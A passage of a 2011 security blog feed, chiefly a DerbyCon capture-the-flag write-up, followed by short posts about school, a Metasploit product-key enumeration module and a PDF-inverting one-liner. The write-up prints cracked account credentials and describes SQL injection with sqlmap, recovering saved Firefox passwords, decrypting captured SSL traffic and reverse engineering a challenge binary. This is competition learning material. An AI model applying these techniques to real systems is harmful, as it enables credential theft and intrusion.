later use.&lt;br /&gt;&lt;br /&gt;First things first, I hit up the ftp port. 'Lo and behold, a flag was waiting for me in the banner (Flag=AnonymousFTP). Logging in I found about 10 or so files on the ftp and two folders. One folder was locked down, I couldn't get in. The other, however, contained a text file with usernames and hashes. Other files on the root of the ftp were firefox databases for saved credentials, an .NET exe that you were required to reverse engineer (I almost figured this one out), a pcap file, and a file with a .docx extension (though it is just a plain text file). I downloaded these files to a local folder for later processing. My first action was to crack those hashes I found on the ftp server. I used john for this.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures/hidden# john --show secretdata&lt;br /&gt;Administrator:NO PASSWORD:500:28361B9A6A28663E73EB37AA1787B284:::&lt;br /&gt;derbycon:KENTUCKY:1012:8CFC8328E285BAE5702FB32AE7C95F87:::&lt;br /&gt;ftpuser:FTP1:1013:2AED8B7C119F79B4F81D3FF9EB1760F3:::&lt;br /&gt;jamesbond:007:1015:0B0412D8761239A73143EFAE928E9F0A:::&lt;br /&gt;root:TOOR:1014:AFC44EE7351D61D00698796DA06B1EBF:::&lt;br /&gt;sqldb:NO PASSWORD:1007:9CB9DCE36C9566A195A42282ADC6A404:::&lt;br /&gt;texasranger:CHUCKNORRIS:1016:167A7A68DEA1D4FBD7B3F4F444690F24:::&lt;br /&gt;&lt;br /&gt;9 password hashes cracked, 0 left&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures/hidden# &lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This gave me credentials to work with now. None of these creds allowed me to get into the locked folder on ftp like I expected. I set these aside for later use. Once I had these, I decided to take a look at the terminal services ports. I used &lt;code&gt;tsclient&lt;/code&gt; to connect to both 10.1.1.15 and 10.1.1.16. This gave a me a flag, but none of my credentials worked to log in. The flag, interestingly enough, was WasteOfTime. I decided to start perusing the http ports next.&lt;br /&gt;&lt;br /&gt;10.1.1.16:80 gave two flags actually. One in the title of the index page, and one as an HTML comment. Super easy stuff. 10.1.1.16:80 also gives you a url to 10.1.1.15:13370/upload/upload.aspx. I wasn't able to break this script and get the flag I wanted.&lt;br /&gt;&lt;br /&gt;Before I forget, one of the files on the FTP root was a file called qr.jpg. opening this up and reading the qr code with my phone yielded a flag. Dumping the exif data showed and interesting sup3rs3cr3tk3y string, apparently this was a flag, but it was not as apparent as the rest. When I found this out, I /headdesk'ed.&lt;br /&gt;&lt;br /&gt;If you go to the HTTP root of 10.1.1.15:13370, you find a replica of the derbycon.com website. It is slightly altered however, a few flags are thrown around inside and in cookies. There is also a new News page, which I figured out a sql injection for to receive another flag. Thankfully, TheLightCosine showed me how to save the post request with the sql injection via burpsuite and pass the request to sqlmap. This was a gold mine, giving me many more flags. I missed one however, and I have no idea where it would have been. It also turns out the version of sqlmap in the Ubuntu repos is very old. I needed to download the latest release from sourceforge in order to use this functionality (the -r flag in sqlmap). Also on this news page was an HTML comment with some credentials. I found this very early on and tried it on the FTP with no success. This bothered me because the credentials were &lt;b&gt;ftpuser:ThisWillGetYouIn&lt;/b&gt;. It turns out the admins mistyped the username. It was supposed to be &lt;b&gt;ftpadmin:ThisWillGetYouIn&lt;/b&gt;. Once they realised what happened, they updated the scoreboard with some vague information about an FTP credential on the site being fixed. I saw this, went back and grabbed the new creds. This worked on the FTP and got me into the folder I was not allowed in earlier. Inside the folder was a textfile with another flag.&lt;br /&gt;&lt;br /&gt;I also remembered at this point I had yet to look at the robots.txt file on any of the web servers. This also led to two flags being found. One in the robots.txt file itself, and one that was referenced by the robots.txt.&lt;br /&gt;&lt;br /&gt;While I let sqlmap dump what it found, I decided to go ahead and look at the files I got off ftp one more time. Three files jumped out at me. signons.sqlite, cert8.db and keey3.db. These files are how Firefox stores its stored credentials. I don't use firefox, and actually uninstalled it quite a long time ago off my netbook. I installed it, dropped the files into my user profile, went to Properties &gt; Security &gt; Show passwords in firefox and got another flag.&lt;br /&gt;&lt;br /&gt;One thing I found in the /download folder of 10.1.1.15:13370 was a testkey.pem.txt. This was a private key. The pcap file on the ftp had SSL traffic in it, so TheLightCosine showed me how to decrypt the SSL traffic in the pcap file through wireshark. Once decrypted we found another flag. However, I felt like there was more to this pcap file than met the eye. I ran the pcap file through &lt;code&gt;strings&lt;/code&gt; and ended up finding yet another flag. &lt;br /&gt;&lt;br /&gt;At this point, I felt like I had exhausted the web servers for clues. I decided to run nikto on each port offering HTTP on both 10.1.1.15 and 10.1.1.16. This yielded a flag in the SSL cert and a vulnerable version of FCKeditor which I was unable to pop. During the closing ceremonies, the admins also showed us a file that nobody had gotten. A web.config.txt was sitting on the root of one of the web servers.&lt;br /&gt;&lt;br /&gt;At this point, I turned my attention to the .NET exe. I was able to use mono to run it.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe &lt;br /&gt;WARNING: The runtime version supported by this application is unavailable.&lt;br /&gt;Using default runtime: v1.1.4322&lt;br /&gt;No flag for you.&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures# &lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I decided to see what happened when I passed it an argument.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe fdjskla&lt;br /&gt;WARNING: The runtime version supported by this application is unavailable.&lt;br /&gt;Using default runtime: v1.1.4322&lt;br /&gt;Try Harder N00b.&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures#&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Interesting, so it recognizes an argument was passed and changes its output. At this point I decided to disassemble the executable using monodis.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;WARNING: The runtime version supported by this application is unavailable.&lt;br /&gt;Using default runtime: v1.1.4322&lt;br /&gt;.assembly extern mscorlib&lt;br /&gt;{&lt;br /&gt;  .ver 4:0:0:0&lt;br /&gt;  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..&lt;br /&gt;}&lt;br /&gt;.assembly extern System.Core&lt;br /&gt;{&lt;br /&gt;  .ver 4:0:0:0&lt;br /&gt;  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..&lt;br /&gt;}&lt;br /&gt;.assembly 'fu'&lt;br /&gt;{&lt;br /&gt;  .custom instance void [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::.ctor(string) =  (&lt;br /&gt;  01 00 29 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B   // ..).NETFramework&lt;br /&gt;  2C 56 65 72 73 69 6F 6E 3D 76 34 2E 30 2C 50 72   // ,Version=v4.0,Pr&lt;br /&gt;  6F 66 69 6C 65 3D 43 6C 69 65 6E 74 01 00 54 0E   // ofile=Client..T.&lt;br /&gt;  14 46 72 61 6D 65 77 6F 72 6B 44 69 73 70 6C 61   // .FrameworkDispla&lt;br /&gt;  79 4E 61 6D 65 1F 2E 4E 45 54 20 46 72 61 6D 65   // yName..NET Frame&lt;br /&gt;  77 6F 72 6B 20 34 20 43 6C 69 65 6E 74 20 50 72   // work 4 Client Pr&lt;br /&gt;  6F 66 69 6C 65                                  ) // ofile&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::'.ctor'(string) =  (01 00 07 64 72 6F 70 70 65 72 00 00 ) // ...dropper..&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyDescriptionAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyConfigurationAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyCompanyAttribute::'.ctor'(string) =  (01 00 09 4D 69 63 72 6F 73 6F 66 74 00 00 ) // ...Microsoft..&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyProductAttribute::'.ctor'(string) =  (01 00 07 64 72 6F 70 70 65 72 00 00 ) // ...dropper..&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyCopyrightAttribute::'.ctor'(string) =  (&lt;br /&gt;  01 00 1B 43 6F 70 79 72 69 67 68 74 20 C2 A9 20   // ...Copyright .. &lt;br /&gt;  4D 69 63 72 6F 73 6F 66 74 20 32 30 31 31 00 00 ) // Microsoft 2011..&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyTrademarkAttribute::'.ctor'(string) =  (01 00 00 00 00 ) // .....&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::'.ctor'(bool) =  (01 00 00 00 00 ) // .....&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Runtime.InteropServices.GuidAttribute::'.ctor'(string) =  (&lt;br /&gt;  01 00 24 65 34 65 37 63 61 36 63 2D 63 32 61 62   // ..$e4e7ca6c-c2ab&lt;br /&gt;  2D 34 32 34 32 2D 61 33 65 35 2D 34 63 39 33 33   // -4242-a3e5-4c933&lt;br /&gt;  63 37 30 65 66 62 30 00 00                      ) // c70efb0..&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Reflection.AssemblyFileVersionAttribute::'.ctor'(string) =  (01 00 07 31 2E 30 2E 30 2E 30 00 00 ) // ...1.0.0.0..&lt;br /&gt;&lt;br /&gt;  .custom instance void class [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::'.ctor'(int32) =  (01 00 08 00 00 00 00 00 ) // ........&lt;br /&gt;&lt;br /&gt;  .custom instance void [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor() =  (&lt;br /&gt;  01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78   // ....T..WrapNonEx&lt;br /&gt;  63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01       ) // ceptionThrows.&lt;br /&gt;&lt;br /&gt;  .hash algorithm 0x00008004&lt;br /&gt;  .ver  1:0:0:0&lt;br /&gt;}&lt;br /&gt;.module fu.exe // GUID = {B3456451-E34C-4B2C-A452-4A83679B44EF}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.namespace fu&lt;br /&gt;{&lt;br /&gt;  .class private auto ansi beforefieldinit Program&lt;br /&gt;   extends [mscorlib]System.Object&lt;br /&gt;  {&lt;br /&gt;&lt;br /&gt;    // method line 1&lt;br /&gt;    .method private static  hidebysig &lt;br /&gt;           default void Main (string[] args)  cil managed &lt;br /&gt;    {&lt;br /&gt;        // Method begins at RVA 0x2050&lt;br /&gt; .entrypoint&lt;br /&gt; // Code size 98 (0x62)&lt;br /&gt; .maxstack 2&lt;br /&gt; .locals init (&lt;br /&gt;  string V_0,&lt;br /&gt;  string V_1,&lt;br /&gt;  string V_2,&lt;br /&gt;  bool V_3)&lt;br /&gt; IL_0000:  ldc.i4.1 &lt;br /&gt; IL_0001:  br.s IL_0006&lt;br /&gt;&lt;br /&gt; IL_0003:  ldc.i4.0 &lt;br /&gt; IL_0004:  br.s IL_0006&lt;br /&gt;&lt;br /&gt; IL_0006:  brfalse.s IL_0008&lt;br /&gt;&lt;br /&gt; IL_0008:  nop &lt;br /&gt; IL_0009:  ldstr "290e1babf4daa83eb606f0b4e02c73be"&lt;br /&gt; IL_000e:  stloc.0 &lt;br /&gt; IL_000f:  ldstr "/cqhcfUx1LO/mUsiT5fV2WijYMEDdvsi/gh214qRVPfauxChLplgBDMHScj8v/PDYt1F03x1r4FAdNe2uP9iHeAsPqcwEWzw3WTk7UN0jQ0="&lt;br /&gt; IL_0014:  stloc.1 &lt;br /&gt; IL_0015:  ldarg.0 &lt;br /&gt; IL_0016:  ldlen &lt;br /&gt; IL_0017:  conv.i4 &lt;br /&gt; IL_0018:  ldc.i4.1 &lt;br /&gt; IL_0019:  ceq &lt;br /&gt; IL_001b:  stloc.3 &lt;br /&gt; IL_001c:  ldloc.3 &lt;br /&gt; IL_001d:  brtrue.s IL_002d&lt;br /&gt;&lt;br /&gt; IL_001f:  nop &lt;br /&gt; IL_0020:  ldstr "No flag for you."&lt;br /&gt; IL_0025:  call void class [mscorlib]System.Console::WriteLine(string)&lt;br /&gt; IL_002a:  nop &lt;br /&gt; IL_002b:  br.s IL_0061&lt;br /&gt;&lt;br /&gt; IL_002d:  ldarg.0 &lt;br /&gt; IL_002e:  ldc.i4.0 &lt;br /&gt; IL_002f:  ldelem.ref &lt;br /&gt; IL_0030:  call string class fu.Program::GetMd5Hash(string)&lt;br /&gt; IL_0035:  stloc.2 &lt;br /&gt; IL_0036:  ldloc.2 &lt;br /&gt; IL_0037:  ldloc.0 &lt;br /&gt; IL_0038:  call bool string::Equals(string, string)&lt;br /&gt; IL_003d:  stloc.3 &lt;br /&gt; IL_003e:  ldloc.3 &lt;br /&gt; IL_003f:  brtrue.s IL_004f&lt;br /&gt;&lt;br /&gt; IL_0041:  nop &lt;br /&gt; IL_0042:  ldstr "Try Harder N00b."&lt;br /&gt; IL_0047:  call void class [mscorlib]System.Console::WriteLine(string)&lt;br /&gt; IL_004c:  nop &lt;br /&gt; IL_004d:  br.s IL_0061&lt;br /&gt;&lt;br /&gt; IL_004f:  ldloc.1 &lt;br /&gt; IL_0050:  call void class [mscorlib]System.Console::WriteLine(string)&lt;br /&gt; IL_0055:  nop &lt;br /&gt; IL_0056:  ldstr "Fix me :P"&lt;br /&gt; IL_005b:  call void class [mscorlib]System.Console::WriteLine(string)&lt;br /&gt; IL_0060:  nop &lt;br /&gt; IL_0061:  ret &lt;br /&gt;    } // end of method Program::Main&lt;br /&gt;&lt;br /&gt;    // method line 2&lt;br /&gt;    .method private static  hidebysig &lt;br /&gt;           default string GetMd5Hash (string input)  cil managed &lt;br /&gt;    {&lt;br /&gt;        // Method begins at RVA 0x20c0&lt;br /&gt; // Code size 90 (0x5a)&lt;br /&gt; .maxstack 3&lt;br /&gt; .locals init (&lt;br /&gt;  class [mscorlib]System.Security.Cryptography.MD5 V_0,&lt;br /&gt;  unsigned int8[] V_1,&lt;br /&gt;  class [mscorlib]System.Text.StringBuilder V_2,&lt;br /&gt;  int32 V_3,&lt;br /&gt;  string V_4,&lt;br /&gt;  bool V_5)&lt;br /&gt; IL_0000:  nop &lt;br /&gt; IL_0001:  call class [mscorlib]System.Security.Cryptography.MD5 class [mscorlib]System.Security.Cryptography.MD5::Create()&lt;br /&gt; IL_0006:  stloc.0 &lt;br /&gt; IL_0007:  ldloc.0 &lt;br /&gt; IL_0008:  call class [mscorlib]System.Text.Encoding class [mscorlib]System.Text.Encoding::get_UTF8()&lt;br /&gt; IL_000d:  ldarg.0 &lt;br /&gt; IL_000e:  callvirt instance unsigned int8[] class [mscorlib]System.Text.Encoding::GetBytes(string)&lt;br /&gt; IL_0013:  callvirt instance unsigned int8[] class [mscorlib]System.Security.Cryptography.HashAlgorithm::ComputeHash(unsigned int8[])&lt;br /&gt; IL_0018:  stloc.1 &lt;br /&gt; IL_0019:  newobj instance void class [mscorlib]System.Text.StringBuilder::'.ctor'()&lt;br /&gt; IL_001e:  stloc.2 &lt;br /&gt; IL_001f:  ldc.i4.0 &lt;br /&gt; IL_0020:  stloc.3 &lt;br /&gt; IL_0021:  br.s IL_0041&lt;br /&gt;&lt;br /&gt; IL_0023:  nop &lt;br /&gt; IL_0024:  ldloc.2 &lt;br /&gt; IL_0025:  ldloc.1 &lt;br /&gt; IL_0026:  ldloc.3 &lt;br /&gt; IL_0027:  ldelema [mscorlib]System.Byte&lt;br /&gt; IL_002c:  ldstr "x2"&lt;br /&gt; IL_0031:  call instance string unsigned int8::ToString(string)&lt;br /&gt; IL_0036:  callvirt instance class [mscorlib]System.Text.StringBuilder class [mscorlib]System.Text.StringBuilder::Append(string)&lt;br /&gt; IL_003b:  pop &lt;br /&gt; IL_003c:  nop &lt;br /&gt; IL_003d:  ldloc.3 &lt;br /&gt; IL_003e:  ldc.i4.1 &lt;br /&gt; IL_003f:  add &lt;br /&gt; IL_0040:  stloc.3 &lt;br /&gt; IL_0041:  ldloc.3 &lt;br /&gt; IL_0042:  ldloc.1 &lt;br /&gt; IL_0043:  ldlen &lt;br /&gt; IL_0044:  conv.i4 &lt;br /&gt; IL_0045:  clt &lt;br /&gt; IL_0047:  stloc.s 5&lt;br /&gt; IL_0049:  ldloc.s 5&lt;br /&gt; IL_004b:  brtrue.s IL_0023&lt;br /&gt;&lt;br /&gt; IL_004d:  ldloc.2 &lt;br /&gt; IL_004e:  callvirt instance string object::ToString()&lt;br /&gt; IL_0053:  stloc.s 4&lt;br /&gt; IL_0055:  br.s IL_0057&lt;br /&gt;&lt;br /&gt; IL_0057:  ldloc.s 4&lt;br /&gt; IL_0059:  ret &lt;br /&gt;    } // end of method Program::GetMd5Hash&lt;br /&gt;&lt;br /&gt;    // method line 3&lt;br /&gt;    .method private static  hidebysig &lt;br /&gt;           default string EncryptString (string plainText, string Key)  cil managed &lt;br /&gt;    {&lt;br /&gt;        // Method begins at RVA 0x2128&lt;br /&gt;    } // end of method Program::EncryptString&lt;br /&gt;&lt;br /&gt;    // method line 4&lt;br /&gt;    .method private static  hidebysig &lt;br /&gt;           default string DecryptString (string cipherText, string Key)  cil managed &lt;br /&gt;    {&lt;br /&gt;        // Method begins at RVA 0x228c&lt;br /&gt;    } // end of method Program::DecryptString&lt;br /&gt;&lt;br /&gt;    // method line 5&lt;br /&gt;    .method public hidebysig  specialname  rtspecialname &lt;br /&gt;           instance default void '.ctor' ()  cil managed &lt;br /&gt;    {&lt;br /&gt;        // Method begins at RVA 0x24c4&lt;br /&gt; // Code size 7 (0x7)&lt;br /&gt; .maxstack 8&lt;br /&gt; IL_0000:  ldarg.0 &lt;br /&gt; IL_0001:  call instance void object::'.ctor'()&lt;br /&gt; IL_0006:  ret &lt;br /&gt;    } // end of method Program::.ctor&lt;br /&gt;&lt;br /&gt;  } // end of class fu.Program&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I immediately notice that it stores an MD5 hash in a string, and another string that appears to in base64. Following the logic, I realised that it took the argument, md5'd it and compared the result to the stored md5 sum. If it matched, it would print the base64 string and tell you to fix it. Technically, you don't even need to know what the argument it is expecting is, but I wanted to be thorough. The md5sum is an md5sum of the string 'kc57' (one of the CTF admins @_kc57).&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures# mono fu.exe kc57&lt;br /&gt;WARNING: The runtime version supported by this application is unavailable.&lt;br /&gt;Using default runtime: v1.1.4322&lt;br /&gt;/cqhcfUx1LO/mUsiT5fV2WijYMEDdvsi/gh214qRVPfauxChLplgBDMHScj8v/PDYt1F03x1r4FAdNe2uP9iHeAsPqcwEWzw3WTk7UN0jQ0=&lt;br /&gt;Fix me :P&lt;br /&gt;root@gits-and-shiggles:/home/upgraydd/Pictures# &lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This string stumped me. I spent too much time on it and probably went every way I shouldn't have in order to figure it out. I never did.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I look forward to competing next year. TheLightCosine and I will probably team up for real and pwn some pants of.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-6563364055553076198?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WD4IYmTroqPHJ3Nv6GoD-bN8rEw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WD4IYmTroqPHJ3Nv6GoD-bN8rEw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WD4IYmTroqPHJ3Nv6GoD-bN8rEw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WD4IYmTroqPHJ3Nv6GoD-bN8rEw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/838epOnwwtM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/6563364055553076198/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/10/derbycon-ctf-results-and-notes.html#comment-form" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6563364055553076198?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/6563364055553076198?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/838epOnwwtM/derbycon-ctf-results-and-notes.html" title="DerbyCon CTF Results and Notes" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>5</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/10/derbycon-ctf-results-and-notes.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0cARn05eip7ImA9WhdVFUU.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-3956714266274376088</id><published>2011-09-20T23:42:00.000-06:00</published><updated>2011-09-21T00:04:07.322-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-21T00:04:07.322-06:00</app:edited><title>My biggest hurdle in school</title><content type="html">I suck at being in school. I feel incredibly unproductive as my classes are very slow. Once the teacher starts going into things s/he has already gone over (many times in some cases), I become very frustrated at wasting my time listening to the same information, over and over again. This happens in AP classes as well, though to a smaller extent. I begin thinking about all the things I could be working on instead, I always have projects I am working on.&lt;br /&gt;&lt;br /&gt;The problem is that I know that I could be working on far more intellectually satisfying things. I am better as a part-time student, when my full time job/hobby suffices. I spend a large chunk of my time doing security/programming research, which is the most fun and intellectually satisfying hobby I have found yet. Hopefully I will be getting paid for it soon, and that is even better.&lt;br /&gt;&lt;br /&gt;I also do not do well "being taught to". Give me the book and let me figure it out for myself, it will be much faster than slow lectures. A 3 hour class in Art Appreciation is hell. I have a large disdain for "authority", and this can become very burdensome as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-3956714266274376088?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/upyslTTrQjI3EQo3vSHFAJmpRpA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/upyslTTrQjI3EQo3vSHFAJmpRpA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/upyslTTrQjI3EQo3vSHFAJmpRpA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/upyslTTrQjI3EQo3vSHFAJmpRpA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/6K7IKzaw9zw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/3956714266274376088/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/09/my-biggest-hurdle-in-school.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3956714266274376088?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/3956714266274376088?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/6K7IKzaw9zw/my-biggest-hurdle-in-school.html" title="My biggest hurdle in school" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/09/my-biggest-hurdle-in-school.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkEMSHc-eSp7ImA9WhdXFUs.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-4217448853482342362</id><published>2011-08-28T14:48:00.001-06:00</published><updated>2011-08-28T14:51:29.951-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-28T14:51:29.951-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Enumerating microsoft keys on remote hosts using metasploit</title><content type="html">I wrote a new module for metasploit that can (theoretically) enumerate any Microsoft product key stored as a DigitalProductId (most microsoft products).
&lt;br /&gt;
&lt;br /&gt;I only have tested against windows 7 ultimate as I don't have a SQL server, exchange server, or MS office stuffs lying around to test with. Any testing with these apps would be a appreciated and feedback is even more appreciated.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;The metasploit ticket is &lt;a href="http://dev.metasploit.com/redmine/issues/5331"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-4217448853482342362?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HL6R33dIM0XVi392fGx5M0UPCMg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HL6R33dIM0XVi392fGx5M0UPCMg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HL6R33dIM0XVi392fGx5M0UPCMg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HL6R33dIM0XVi392fGx5M0UPCMg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/fpzq3pM_TFg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/4217448853482342362/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/08/enumerating-microsoft-keys-on-remote.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/4217448853482342362?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/4217448853482342362?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/fpzq3pM_TFg/enumerating-microsoft-keys-on-remote.html" title="Enumerating microsoft keys on remote hosts using metasploit" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/08/enumerating-microsoft-keys-on-remote.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cNQHs7fip7ImA9WhdXEUk.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-8384759404664343054</id><published>2011-08-23T17:10:00.000-06:00</published><updated>2011-08-23T17:11:31.506-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-23T17:11:31.506-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><title>Inverting ebooks for better reading</title><content type="html">I like ebooks. I don't like staring at lightbulbs. Hopefully, this one-liner will help others with the same problems I have with black-on-white text ebooks.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;code&gt;pdf2ps foo.pdf - | convert - -negate bar.pdf&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-8384759404664343054?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Gz5-Fsz-x1DycAfOkXNCfAsX2UU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gz5-Fsz-x1DycAfOkXNCfAsX2UU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
